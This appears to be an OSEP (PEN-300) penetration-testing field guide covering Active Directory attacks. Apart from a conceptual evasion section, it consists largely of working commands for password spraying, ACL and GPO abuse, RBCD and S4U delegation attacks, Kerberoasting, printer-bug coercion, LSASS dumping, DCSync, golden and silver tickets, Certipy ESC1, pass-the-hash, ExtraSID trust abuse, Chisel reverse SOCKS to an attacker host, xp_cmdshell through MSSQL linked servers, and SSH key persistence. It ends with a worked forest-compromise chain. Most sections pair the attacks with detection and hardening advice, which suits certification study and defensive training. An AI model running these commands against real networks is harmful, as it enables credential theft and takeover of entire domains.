OSEP Exam - Guided By RedBlock
PEN-300: Evasion Techniques and Breaching Defenses - OffSec Experienced Penetration Tester

OSEP Field Guide — OffSec Experienced Penetration Tester (PEN-300)
A study reference for OSEP / PEN-300 ("Evasion Techniques and Breaching Defenses"), focused on the Active Directory, credential-access, lateral-movement, pivoting, forest-trust, and post-exploitation methodology that makes up the core of the exam. Terminal examples use the operator prompt style below.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ whoami
Scope note (read once): This guide covers the methodology — enumeration, AD ACL/Kerberos abuse, credential access, lateral movement, pivoting, trusts, and persistence — the way OSEP and the public corpus (HackTricks, the ATT&CK knowledge base, tool docs) teach it. For the AV/EDR-evasion and payload-injection portions (AMSI/CLM bypass, shellcode encoders, process/reflective injection, macro/HTA/JScript droppers, AV-disable/anti-scan), it gives the concept and the defensive detection view rather than working evasion/injection code — understand what the technique is and how it's caught, and build the payload work yourself in your own licensed lab per the course materials. ⚠️ Authorized/lab use only. Everything targets the OSEP lab / engagements you're contracted to test.
<attacker>,<dc>,dom.local, etc. are placeholders — substitute your own.
Table of Contents
OSEP Overview & Operating Model
Evasion & Payload Delivery — Concept + Defense (no working code)
AD Enumeration (PowerView, SharpHound/BloodHound)
Password Spraying & Initial AD Access
ACL Abuse — WriteDACL, GenericAll, GenericWrite
GPO Abuse
BloodHound Edge-Abuse Catalogue
Kerberos Delegation — Unconstrained, Constrained, RBCD
Kerberoasting & AS-REP Roasting
Authentication Coercion — PrinterBug / SpoolSample → Rubeus
Credential Access — LSASS, SAM, DCSync
Kerberos Ticket Internals & Abuse
ADCS — Active Directory Certificate Services Abuse
Lateral Movement — PtH, Restricted Admin, SharpRDP
Forest & Trust Attacks — Enumeration, ExtraSID
Pivoting — Chisel, proxychains, autoroute
MSSQL — Enumeration & Linked Servers
Linux Post-Exploitation & Persistence
LAPS
Utilities & Quick Reference
Worked Forest-Compromise Chain
Detection & Hardening (Purple-Team Half)
Reporting & Glossary
1. OSEP Overview & Operating Model
What OSEP tests: breaching a defended environment and moving through it — client-side entry, AV/EDR evasion (conceptually §2), then Active Directory compromise via ACL abuse, Kerberos delegation, coercion, credential theft, lateral movement, and crossing trusts to own the forest — ending in a report.
Operating model / kill-chain: initial access → establish a foothold → enumerate the domain (BloodHound) → find an escalation edge (ACL/delegation/coercion) → harvest credentials → move laterally → repeat toward Domain Admin → cross trusts to the forest root → persist → report.
Mindset: OSEP is about chaining misconfigurations that individually look minor. Map the graph first, then walk the shortest path. Document every hop for the report.
2. Evasion & Payload Delivery — Concept + Detection (no working code)
OSEP spends real time on defeating endpoint defenses. Below is what each technique is, the mechanism at a conceptual/API level, and — the part that scores on the exam and in the report — what a defender sees. Functional bypass/injection/obfuscation code is intentionally not reproduced; build it in your licensed OSEP lab from the course. Understanding the mechanism + detection is what the exam tests.
AMSI (Antimalware Scan Interface).
Mechanism: AMSI is a Windows interface (
amsi.dll) that lets script hosts (PowerShell, VBA, JS, .NET) submit content to the registered AV viaAmsiScanBuffer/AmsiScanStringbefore execution, so obfuscation alone doesn't hide malicious script text. Bypasses aim to make that scan return "clean" for the current process (in-memory patching of the scan routine, or forcing an initialization error) — no functional code shown here.Detection: enable PowerShell ScriptBlock + Module logging and AMSI event logging; alert on the well-known tamper byte-patterns, on reflection into
System.Management.Automation.AmsiUtils, and onamsiInitFailed; behavioral EDR flags a process patchingamsi.dllin its own memory.
Constrained Language Mode (CLM).
Mechanism: CLM restricts PowerShell to a safe subset (no arbitrary .NET, Add-Type, etc.), usually paired with WDAC/AppLocker. Escapes rely on downgrade (PS v2), unsigned-binary gaps, or trusted-script misconfig.
Detection: enforce WDAC so CLM can't be trivially downgraded; block PowerShell v2 (
-Version 2); log language-mode transitions.
Shellcode encoders / obfuscation (Caesar/ROT/XOR to evade static AV).
Mechanism: payload bytes are transformed so static signatures don't match, then decoded at runtime before execution.
Detection: signatures are the weak layer — rely on behavioral EDR + runtime memory scanning; alert on decode-then-execute-from-writable-memory and high-entropy blobs in scripts.
Process / reflective DLL injection & shellcode runners.
Mechanism (conceptual API sequence):
OpenProcess→VirtualAllocEx(often RWX) →WriteProcessMemory(copy payload/stub) →CreateRemoteThread/QueueUserAPCto execute; reflective loading maps a DLL from memory (noLoadLibrary, no disk) by parsing its PE headers itself. The goal is running in a benign process without touching disk.Detection: EDR telemetry on cross-process memory writes, remote thread creation, RWX/
PAGE_EXECUTE_READWRITEallocations, and execution from unbacked memory (no file on disk behind the region); enable ASR rules (block process creation from PSExec/WMI, block credential theft from LSASS, block Office child processes); CFG/CIG and hardware-enforced stack protection.
Client-side delivery (macro / HTA / JScript / .NET-to-JScript).
Mechanism: lure a user to run a document/HTA/script that stages a payload via a trusted LOLBin (
mshta,wscript,regsvr32).Detection: disable internet macros (or signed-only); ASR "block Office child process / Win32 API from macros"; MOTW enforcement; alert on
winword.exe→powershell.exe/mshta.exeprocess trees; attachment sandboxing.
UAC bypass (auto-elevate registry-hijack class, e.g. FodHelper) & Alternate Data Streams.
Mechanism: auto-elevating signed binaries read a user-writable registry key or NTFS ADS is used to hide/execute code.
Detection: set UAC to "always notify"; monitor writes to
HKCU\...\ms-settings\...\shell\open\command(and similar) and high-integrity spawns from medium-integrity parents;dir /r/ EDR for ADS execution (wscript file:stream).
Disabling / testing against security products.
Mechanism: attackers try to disable real-time protection (
Set-MpPreference -DisableRealTimeMonitoring, add exclusions, stop 3rd-party AV) or test payloads offline against AV without alerting vendors (anti-scan services).Detection: Tamper Protection (blocks
Set-MpPreferencedisabling); treat any AV service stop, real-time-protection change, or exclusion-path/extension add as a high-signal alert; centralize AV health in the SIEM.
Bottom line for the report: pair every offensive technique with the telemetry above. "We bypassed AMSI" is worth little; "we bypassed AMSI and here is the ScriptBlock log signature that would have caught it" is the deliverable.
3. AD Enumeration (PowerView, SharpHound/BloodHound)
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ bloodhound-python -u user -p pass -d dom.local -c all -ns <dc>
PowerView (on a Windows foothold):
Get-DomainUser -Domain dom.local
Get-DomainUser -Identity <user>
Get-DomainComputer -Unconstrained # unconstrained-delegation hosts
Get-DomainComputer -TrustedToAuth # constrained-delegation hosts
Get-DomainTrustMapping # all trusts, automated
Get-DomainForeignGroupMember -Domain dom.local # foreign members (trust attacks)
# ACL enumeration (find what YOUR user can abuse):
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match $mySID}
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match $mySID}
SharpHound collects the same graph for BloodHound; import and run the shortest-path-to-Domain-Admins query — that's your plan. Note unconstrained/constrained/RBCD flags, ACL edges (WriteDACL/GenericAll/GenericWrite/AddMember), and foreign/trust memberships.
BloodHound Cypher queries worth saving:
// shortest path from an owned user to Domain Admins
MATCH p=shortestPath((u:User {name:"[email protected]"})-[*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p
// what can my user reach via dangerous ACEs?
MATCH p=(u:User {name:"[email protected]"})-[:WriteDacl|GenericAll|GenericWrite|Owns|AddMember|ForceChangePassword*1..]->(n) RETURN p
// kerberoastable users on a path to high value
MATCH (u:User {hasspn:true}) RETURN u.name,u.serviceprincipalnames
// unconstrained-delegation computers (coercion targets)
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
// principals with RBCD-relevant GenericWrite over computers
MATCH p=(u)-[:GenericWrite|GenericAll]->(c:Computer) RETURN u.name,c.name
Enumeration mindset: you're building the graph of who-can-do-what-to-whom. Every edge (an ACE, a delegation flag, a group membership, a session) is a potential hop. Mark high-value targets (DAs, DCs, Tier-0) and find the shortest chain of abusable edges from where you are.
More PowerView you'll use constantly:
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainUser -SPN # kerberoastable
Get-DomainUser -PreauthNotRequired # AS-REP roastable
Find-LocalAdminAccess # where am I local admin?
Get-DomainGPO ; Get-DomainGPOLocalGroup # GPO-granted access
Get-NetSession -ComputerName <host> # who's logged in where (session hunting)
Invoke-UserHunter # hunt where a target user is logged on
4. Password Spraying & Initial AD Access
Before ACL/Kerberos work you need a domain foothold. Spraying one common password across many users avoids lockout.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ crackmapexec smb <dc> -u users.txt -p 'Winter2024!' --continue-on-success
└─$ crackmapexec smb <dc> -u users.txt -p passwords.txt --no-bruteforce # 1:1 user:pass
└─$ kerbrute passwordspray -d dom.local --dc <dc> users.txt 'Winter2024!'
Get the user list first (any valid cred, or null/guest): crackmapexec smb <dc> -u '' -p '' --users, enum4linux-ng -A <dc>, lookupsid.py, or RID-cycling. Respect the lockout policy (crackmapexec ... --pass-pol) — space attempts and stay one below the threshold. Other initial-access routes (concept): relay attacks (ntlmrelayx when SMB signing is off), LLMNR/NBT-NS poisoning (Responder) to capture NetNTLM hashes → crack (hashcat -m 5600) or relay, and roasting an account you already know (AS-REP without creds). Defenders: SMB signing, disable LLMNR/NBT-NS, lockout + MFA, monitor 4625 spikes.
5. ACL Abuse — WriteDACL, GenericAll, GenericWrite
BloodHound often reveals your user has a dangerous ACE over a principal. The three big ones:
WriteDACL — you can rewrite the target's DACL, so grant yourself GenericAll, then abuse it:
Add-DomainObjectAcl -TargetIdentity <targetUser> -PrincipalIdentity <you> -Rights All
# verify, then act (e.g., reset the password):
Set-DomainUserPassword -Identity <targetUser> -AccountPassword (ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force)
GenericAll — full control over the object:
# over a USER -> change password without knowing the old one:
net user <targetUser> Passw0rd! /domain # or Set-DomainUserPassword
# over a GROUP -> add yourself:
Add-DomainGroupMember -Identity 'WebAdmins' -Members '<you>' -Rights all
net group <group> <you> /add /domain
GenericWrite — write attributes → set an SPN (targeted Kerberoast) or configure RBCD (§5). Classic chain: SQL Admins →(WriteDACL)→ WebAdmins →(member of)→ Domain Admins means adding yourself to WebAdmins = DA. Walk the BloodHound edge, take the write, become DA, then DCSync (§7).
6. GPO Abuse
If BloodHound shows you have write access to a GPO (or to an OU it's linked to), you can push a computer/user configuration to every object in scope — a fast path to code execution on many hosts (or a DC).
Get-DomainGPO | select displayname,name
Get-DomainGPOLocalGroup # GPOs that set local group membership
Get-DomainOU ; Get-DomainGPO -Identity <id> | Get-ObjectAcl -ResolveGUIDs # who can edit
Abuse (SharpGPOAbuse): add an immediate scheduled task / local admin / logon script via the writable GPO, then gpupdate /force (or wait) applies it to targets in the OU:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author dom\admin --Command "cmd.exe" --Arguments "/c <payload>" --GPOName "VulnGPO"
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <you> --GPOName "VulnGPO"
If the affected OU contains a DC or Tier-0 host, this is domain compromise. Defenders: restrict GPO edit rights, monitor GPO changes (5136 on groupPolicyContainer), and alert on new scheduled tasks pushed via SYSVOL.
7. BloodHound Edge-Abuse Catalogue
When BloodHound shows an edge from your principal to a target, this is the abuse per edge (the exact "how" behind the graph):
Edge (you → target) | What it means | Abuse |
|---|---|---|
GenericAll (user) | full control of a user | reset password ( |
GenericAll (group) | full control of a group |
|
GenericAll (computer) | full control of a computer | configure RBCD (§6) → impersonate admin |
GenericWrite (user) | write attributes | set an SPN → targeted Kerberoast; or set |
GenericWrite (computer) | write attributes | RBCD → S4U impersonation |
WriteDacl | rewrite the DACL | grant yourself GenericAll, then abuse as above |
WriteOwner | become the object owner | take ownership → grant yourself GenericAll |
ForceChangePassword | reset without old pw |
|
AddMember | modify group membership | add yourself to a privileged group |
AllExtendedRights | incl. ForceChangePassword, GetChanges | reset password; on the domain object → DCSync rights |
DCSync (GetChanges/All) | replicate secrets |
|
AddKeyCredentialLink | write msDS-KeyCredentialLink | Shadow Credentials (Whisker/pyWhisker) → PKINIT auth as the target |
Owns | object owner | modify DACL as owner |
CanRDP / CanPSRemote | remote access to a host | move laterally once you have creds |
HasSession | a target user is logged in there | compromise the host → dump that user's creds |
AdminTo | you are local admin on a host | run code / dump LSASS there |
Standard method: pick the shortest path of these edges to a Domain Admin / DC, execute each with the command above, re-run SharpHound after each escalation (new access = new edges).
8. Kerberos Delegation — Unconstrained, Constrained, RBCD
Why delegation exists (the double-hop problem): a front-end service (e.g., a web app) often needs to reach a back-end (e.g., SQL) as the user. Delegation lets an account act on a user's behalf. The three flavors trade off how broadly that impersonation is allowed — and each is abusable if you control the delegating account.
Unconstrained delegation — the delegating host caches the full TGT of anyone who authenticates to it, so it can impersonate them anywhere. Compromise such a host, coerce a privileged account (a DC, §6) to authenticate to it, then extract and reuse that TGT.
Get-DomainComputer -Unconstrained
# on the compromised host (as admin), monitor/extract tickets, then reuse the captured TGT:
Rubeus.exe monitor /interval:5 /nowrap # or mimikatz sekurlsa::tickets /export
Rubeus.exe ptt /ticket:<captured-DC-TGT> # then DCSync as the DC (§7)
Constrained delegation (S4U) — an account may delegate only to specific SPNs, via S4U2Self (get a ticket to itself as any user) + S4U2Proxy (forward that to the allowed service). If you control the account (its password/hash), you impersonate any user — including a Domain Admin — to those services:
Get-DomainUser -TrustedToAuth ; Get-DomainComputer -TrustedToAuth
.\Rubeus.exe hash /password:<pw> # get the RC4/NTLM
.\Rubeus.exe asktgt /user:<svc> /domain:dom.local /rc4:<hash> # TGT for the delegating acct
.\Rubeus.exe s4u /ticket:<b64-TGT> /impersonateuser:administrator /msdsspn:mssqlsvc/host.dom.local:1433 /ptt
# note: the allowed SPN can often be swapped to a more useful service (e.g. CIFS/HOST) via the "altservice" trick
Resource-Based Constrained Delegation (RBCD) — configured on the target (its msDS-AllowedToActOnBehalfOfOtherIdentity). With GenericWrite/GenericAll over a computer object, you set that attribute to a machine account you create, then S4U-impersonate onto the target:
# 1) create a computer account you control (PowerMad) — any domain user can by default (MachineAccountQuota):
New-MachineAccount -MachineAccount fakepc -Password (ConvertTo-SecureString 'h4x!' -AsPlainText -Force)
$sid = Get-DomainComputer fakepc -Properties objectsid | select -Expand objectsid
# 2) build the security descriptor granting fakepc$ and write it onto the TARGET computer:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;GA;;;$sid)"
$b = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($b,0)
Get-DomainComputer TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$b}
# 3) S4U as fakepc$, impersonating admin, to a service on TARGET:
.\Rubeus.exe hash /password:h4x!
.\Rubeus.exe s4u /user:fakepc$ /rc4:<hash> /impersonateuser:administrator /msdsspn:CIFS/target.dom.local /ptt
All three converge on the same finish: obtain a service ticket as a privileged user, use it (PsExec/CIFS/HOST), and escalate. Defenders: audit msDS-AllowedToActOnBehalf... writes, restrict delegation, set MachineAccountQuota=0, and mark Tier-0 accounts "sensitive / cannot be delegated."
9. Kerberoasting & AS-REP Roasting
Two credential attacks that yield crackable hashes without admin rights or touching LSASS — pure enumeration + a service request.
Kerberoasting — any domain user can request a service ticket (TGS) for an account that has an SPN; the ticket is encrypted with the service account's password-derived key, so it can be cracked offline.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ GetUserSPNs.py dom.local/user:pass -dc-ip <dc> -request
└─$ hashcat -m 13100 tgs.hash rockyou.txt
# on a Windows foothold:
Rubeus.exe kerberoast /outfile:hashes.txt
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Target service accounts (often high-priv, weak passwords). Targeted Kerberoast: if you have GenericWrite over a user (§4), set an SPN on it, roast, then clear the SPN.
AS-REP Roasting — accounts with "Do not require Kerberos pre-authentication" set will return an AS-REP encrypted with the user's key to anyone who asks — crackable offline.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ GetNPUsers.py dom.local/ -usersfile users.txt -no-pass -dc-ip <dc>
└─$ hashcat -m 18200 asrep.hash rockyou.txt
Get-DomainUser -PreauthNotRequired # find candidates
Rubeus.exe asreproast /outfile:asrep.txt
Defenders: strong/long service-account passwords (or gMSA), require pre-auth, monitor bulk TGS requests (RC4 downgrade) and AS-REQ without pre-auth.
10. Authentication Coercion — PrinterBug / SpoolSample → Rubeus
If the print spooler is reachable, RpcRemoteFindFirstPrinterChangeNotification forces a target to authenticate to a host you choose — pair with unconstrained delegation (§5) to capture the target's TGT.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ ls \\<dc>\pipe\spoolss # is the spooler reachable?
:: on your controlled (unconstrained) host, monitor for the incoming TGT:
Rubeus.exe monitor /interval:5 /filteruser:<DC>$
:: force the DC to authenticate to you:
SpoolSample.exe <DC>.dom.local <yourHost>.dom.local
:: import the captured DC TGT, then DCSync as the DC account:
Rubeus.exe ptt /ticket:<b64>
Then lsadump::dcsync (§7). Defenders: disable the spooler on DCs/Tier-0, monitor spoolss pipe access and anomalous DC auth.
11. Credential Access — LSASS, SAM, DCSync
LSASS dump → parse offline (avoids running mimikatz on-host):
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ pypykatz lsa minidump lsass.dmp
:: dump on the host (ProcDump), exfil, parse on Kali with pypykatz/mimikatz sekurlsa::minidump
procdump64.exe -accepteula -ma <lsass-pid> lsass.dmp
SAM/SYSTEM (local hashes):
reg save HKLM\sam sam & reg save HKLM\system system :: admin required
:: or via a shadow copy (wmic shadowcopy call create) then copy sam+system
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ secretsdump.py -sam sam -system system LOCAL # or creddump7 pwdump.py
DCSync (replicate secrets from the DC — needs replication rights / DA):
mimikatz # lsadump::dcsync /domain:dom.local /user:administrator
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ secretsdump.py dom.local/administrator@<dc> -just-dc
Grab krbtgt here for Golden-Ticket persistence (§9). Defenders: alert on DCSync from non-DC hosts, LSASS access by non-system processes, and SAM/SYSTEM hive reads.
Other credential sources on a host (post-ex checklist):
sekurlsa::logonpasswords # LSASS: plaintext (WDigest), NTLM, Kerberos keys
sekurlsa::ekeys # Kerberos encryption keys (for OverPass-the-Hash)
lsadump::cache # cached domain logons (MSCACHE/DCC2) -> crack offline (hashcat -m 2100)
lsadump::secrets # LSA secrets (service account passwords, autologon)
vault::cred / dpapi::* # Windows Vault / DPAPI-protected creds
Files & config: unattend.xml,
web.config, connection strings,cmdkey /list, PowerShell history, KeePass/.kdbx, browser stores.Targeted Kerberoast / AS-REP (§ below) yield crackable hashes without touching LSASS.
OverPass-the-Hash: an NTLM hash or AES key → request a legit TGT (
Rubeus asktgt) → stealthier than raw PtH. Crack captured hashes with hashcat: NTLM-m 1000, DCC2-m 2100, Kerberoast TGS-m 13100, AS-REP-m 18200.
12. Kerberos Ticket Internals & Abuse
Understanding tickets is what makes the AD attacks click.
How Kerberos auth works (short): client asks the KDC for a TGT (encrypted with the krbtgt key), then uses the TGT to request TGS service tickets (each encrypted with the target service account's key). A service trusts a TGS because it can decrypt it and read the PAC (which carries the user's groups/SIDs).
Ticket attacks:
Pass-the-Ticket (PtT): inject a stolen/exported
.kirbi/TGT into your session (Rubeus ptt /ticket:orkerberos::ptt) → act as that user, no password.Overpass-the-Hash (Pass-the-Key): an NTLM hash or AES key → request a legitimate TGT (
Rubeus asktgt /user: /rc4:|/aes256:) → stealthier than raw PtH (uses normal Kerberos).Golden Ticket: with the
krbtgthash, forge an arbitrary TGT for any user/groups — domain-wide, long-lived persistence. Fix: rotatekrbtgttwice.kerberos::golden /user:Administrator /domain:dom.local /sid:<domainSID> /krbtgt:<hash> /pttSilver Ticket: with a service account's hash, forge a TGS to that one service (e.g. CIFS/HOST/MSSQLSvc) — narrower, quieter (never contacts the DC).
kerberos::golden /user:Administrator /domain:dom.local /sid:<SID> /target:host.dom.local /service:cifs /rc4:<svc-hash> /pttDiamond Ticket: request a real TGT then modify its PAC (using the
krbtgtkey) — looks more legitimate than a forged Golden (valid ticket times/flags).Shadow Credentials: with
AddKeyCredentialLink, add a key tomsDS-KeyCredentialLinkand authenticate via PKINIT to get the target's TGT/NT hash (Whisker/pyWhisker + Rubeus).
Encryption note: RC4 (/rc4: = NTLM) is easier but louder (RC4-downgrade alerts); AES (/aes256:) blends in. Defenders: monitor anomalous TGT lifetimes, RC4 where AES is expected, tickets for non-existent users, and DCSync from non-DCs.
13. ADCS — Active Directory Certificate Services Abuse
AD CS misconfigurations are one of the most reliable modern escalation paths — a vulnerable certificate template lets a low-priv user enroll a cert as a privileged user, then authenticate with it. Enumerate and exploit with Certipy (Linux) or Certify (Windows).
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ certipy find -u user@dom.local -p pass -dc-ip <dc> -vulnerable -stdout
The ESC families (know what each is):
ID | Misconfiguration | Abuse |
|---|---|---|
ESC1 | template allows requester to supply SAN + client-auth EKU, low-priv enroll | request a cert as administrator ( |
ESC2 | Any Purpose / no EKU | use the cert for anything, incl. client auth |
ESC3 | Enrollment Agent template | request an agent cert, then enroll on behalf of others |
ESC4 | you have write over a template | edit it to be ESC1-vulnerable, then abuse |
ESC6 | CA has | SAN injection on any template |
ESC7 | you have ManageCA/ManageCertificates | enable a flag / approve your own request |
ESC8 | CA web enrollment + NTLM relay | relay a coerced machine to HTTP enrollment → cert for that machine/DC |
ESC1 (the classic) with Certipy: |
└─$ certipy req -u user@dom.local -p pass -ca <CA-name> -template <VulnTemplate> -upn administrator@dom.local -dc-ip <dc>
└─$ certipy auth -pfx administrator.pfx -dc-ip <dc> # -> TGT + NT hash for administrator
ESC8 (relay to a DC → domain): certipy relay -target http://<CA> while coercing the DC (PetitPotam/PrinterBug) → obtain a DC cert → authenticate → DCSync. Persistence: a stolen CA cert enables forging any certificate ("Golden Certificate"). Defenders: remove SAN/enrollee-supplies-subject on client-auth templates, disable EDITF_ATTRIBUTESUBJECTALTNAME2, restrict enrollment rights, require manager approval, and enable Extended Protection on the CA web endpoint.
14. Lateral Movement — PtH, Restricted Admin, SharpRDP
Pass-the-Hash:
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ psexec.py administrator@<host> -hashes :<NTLM>
└─$ crackmapexec smb <host> -u administrator -H <NTLM>
└─$ evil-winrm -i <host> -u administrator -H <NTLM>
Restricted Admin mode (PtH over RDP) — when enabled, RDP accepts a hash:
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ xfreerdp /u:admin /pth:<NTLM> /v:<host> /cert-ignore
(On-host equivalent: sekurlsa::pth ... /run:"mstsc.exe /restrictedadmin".) SharpRDP (RDP as console, no GUI) — authenticate and run a command over RDP's non-scriptable interface (useful when a full tunnel is impractical). Conceptually: computername=<host> command=<cmd> username=... password=.... impacket suite: psexec.py / wmiexec.py / smbexec.py / atexec.py for creds- or hash-based execution.
15. Forest & Trust Attacks — Enumeration, ExtraSID
Enumerate trusts:
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Get-DomainTrust -Domain dom.local
Get-DomainTrustMapping
Get-DomainForeignGroupMember -Domain child.dom.local # foreign/cross-trust members
Cross-trust escalation via SID history (ExtraSID): with krbtgt of a compromised domain and a target's domain SID, craft a golden ticket that includes an ExtraSid for a privileged group. SID filtering blocks RIDs <1000, so target a custom group (RID ≥1000) or a domain-local group that isn't filtered.
mimikatz # kerberos::golden /user:<u> /domain:child.dom.local /sid:<childSID> /krbtgt:<hash> /sids:<targetGroupSID-RID>=1000+ /ptt
Then PsExec \\dc.parent.dom.local cmd. Defenders: enable SID filtering / selective authentication on trusts, monitor golden-ticket indicators (anomalous TGT lifetimes, mismatched encryption).
16. Pivoting — Chisel, proxychains, autoroute
Meterpreter autoroute + SOCKS:
meterpreter > run autoroute -s 172.16.x.0/24
use auxiliary/server/socks_proxy ; set VERSION 5 ; run
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ cat /etc/proxychains4.conf # socks5 127.0.0.1 1080
└─$ proxychains crackmapexec smb 172.16.x.0/24 -u user -H <NTLM>
Chisel (reverse SOCKS through egress):
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ ./chisel server -p 8080 --reverse --socks5
:: on the Windows pivot:
chisel.exe client <attacker>:8080 R:socks
Then proxychains xfreerdp /v:<internal-host>. SSH dynamic also works: ssh -N -D 1080 user@<pivot>. Reverse SOCKS is the reliable "whole network" pivot behind NAT/egress filtering.
Double pivot (reach a segment visible only from a second-tier host): chain a second SOCKS through the first. With Meterpreter, add a route via the second session (run autoroute -s <deeper-subnet>) and refresh SOCKS; with Chisel, run a second reverse client from the second pivot back through the first tunnel and stack a second socks5 entry in proxychains4.conf (use dynamic_chain). Reliability: nmap over SOCKS needs -sT -Pn (no SYN/ping through proxychains); keep reverse-shell callbacks in-segment (set LHOST to the pivot's internal NIC or use a remote forward); test the tunnel with one known port before big scans; prefer reverse SOCKS through egress-filtered ranges.
17. MSSQL — Enumeration & Linked Servers
setspn -T dom.local -Q MSSQLSvc/* # find SQL SPNs / servers
Linked servers let one SQL instance execute queries (and sometimes OS commands via xp_cmdshell) on another — a classic OSEP lateral path, often crossing trust boundaries with stored link credentials.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ proxychains mssqlclient.py dom.local/user@<sql-host> -windows-auth
-- enumerate links and the context they run as:
EXEC sp_linkedservers;
SELECT * FROM master..sysservers;
EXEC ('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED\SRV];
-- traverse (queries execute on the linked instance, possibly as a higher-priv login):
SELECT * FROM OPENQUERY("LINKED\SRV", 'SELECT @@version');
-- chain multiple hops with nested OPENQUERY / EXECUTE AT
-- if xp_cmdshell is (or can be) enabled on a reachable instance -> command execution there:
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [LINKED\SRV];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED\SRV];
Impacket's mssqlclient.py (over the pivot) drives this; enum_links/exec_as_login helpers automate hopping. Defenders: least-privilege SQL service accounts and link logins, disable xp_cmdshell, monitor cross-server query chains and sp_configure changes.
18. Linux Post-Exploitation & Persistence
SSH persistence (drop your key):
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ ssh-keygen # then on the victim:
victim$ echo "ssh-rsa AAAA... redblock@kali" >> ~/.ssh/authorized_keys
ControlMaster SSH hijacking — if a user's SSH is configured (or you can plant a config) with a shared ControlPath master socket, you can ride their existing authenticated session to onward hosts:
Host *
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlMaster auto
ControlPersist yes
# once a master socket exists: ssh <onward-host> (rides the live session)
Private-tmp escape (systemd PrivateTmp) — if you already have root but /tmp is namespaced away from a service, create a normal privileged user and log in via SSH to get a full session with unrestricted /tmp visibility (adduser, usermod -aG sudo, ssh). Samba share (stage tooling to Windows victims from Kali): configure smb.conf ([share] path=/home/kali/data; read only=no), smbpasswd -a kali, start smbd/nmbd, then access \\<kali>\share from Windows. Defenders: monitor authorized_keys writes, unexpected ControlMaster sockets, and new privileged local users.
19. LAPS
LAPS randomizes local-admin passwords and stores them in AD, readable only by delegated principals.
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers # shows password where you're allowed to read it
Find-LAPSDelegatedGroups # which groups can read LAPS passwords
Get-NetGroupMember -GroupName "LAPS Password Readers"
Path: if you can join a delegated reader group (via an ACL edge, §4), you read the plaintext local-admin password → lateral movement. Defenders: tightly scope LAPS read delegation; audit ms-Mcs-AdmPwd reads.
20. Utilities & Quick Reference
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ nltest /trusted_domains # list trusts (on Windows: nltest)
└─$ proxychains crackmapexec smb -d dom.local -u Administrator -H <NTLM> --put-file ./tool.exe C:\\Windows\\Temp\\tool.exe
schtasks /query :: scheduled tasks (persistence/loot)
setspn -T dom.local -Q MSSQLSvc/* :: SQL servers
Tool → purpose: PowerView/SharpHound (enum), Rubeus (Kerberos/S4U/tickets), PowerMad (machine accounts/RBCD), mimikatz/pypykatz (creds), impacket (psexec/wmiexec/secretsdump/mssqlclient), CrackMapExec (spray/exec/file ops), Chisel/proxychains (pivot), LAPSToolkit (LAPS). Standard chain: enumerate → ACL/delegation edge → coerce/roast → creds → lateral → DA → DCSync → cross-trust (ExtraSID) → forest root → persist → report.
21. Worked Forest-Compromise Chain
Illustrative end-to-end walkthrough tying the methodology together. Authorized/lab only, placeholders. Each hop is a fixable finding.
Phase 1 — Foothold & domain map. A low-priv domain user (from initial access) runs SharpHound; BloodHound shows a path: bob → (WriteDACL) → "SQL Admins" group → (WriteDACL) → "WebAdmins" → (member of) → Domain Admins.
┌──(RedBlock㉿K4l1-L1nux)-[~]
└─$ bloodhound-python -u bob -p 'Passw0rd!' -d dom.local -c all -ns <dc>
Phase 2 — Cheap creds first (roast). Before touching ACLs, GetUserSPNs.py finds a kerberoastable svc_sql; crack it → svc_sql:Summer2024!. It happens to be in SQL Admins.
└─$ GetUserSPNs.py dom.local/bob:'Passw0rd!' -dc-ip <dc> -request
└─$ hashcat -m 13100 tgs.hash rockyou.txt # -> svc_sql:Summer2024!
Phase 3 — Walk the ACL edge to Domain Admin. As svc_sql (SQL Admins) you have WriteDACL on WebAdmins → grant yourself rights and add bob:
Add-DomainObjectAcl -TargetIdentity 'WebAdmins' -PrincipalIdentity svc_sql -Rights All
Add-DomainGroupMember -Identity 'WebAdmins' -Members 'bob' -Rights all
# WebAdmins is a member of Domain Admins -> bob is now effectively DA
Phase 4 — DCSync the domain. As DA, replicate secrets (grab krbtgt for persistence + the built-in admin hash):
└─$ secretsdump.py dom.local/bob@<dc> -just-dc
└─$ secretsdump.py -just-dc-user krbtgt dom.local/bob@<dc>
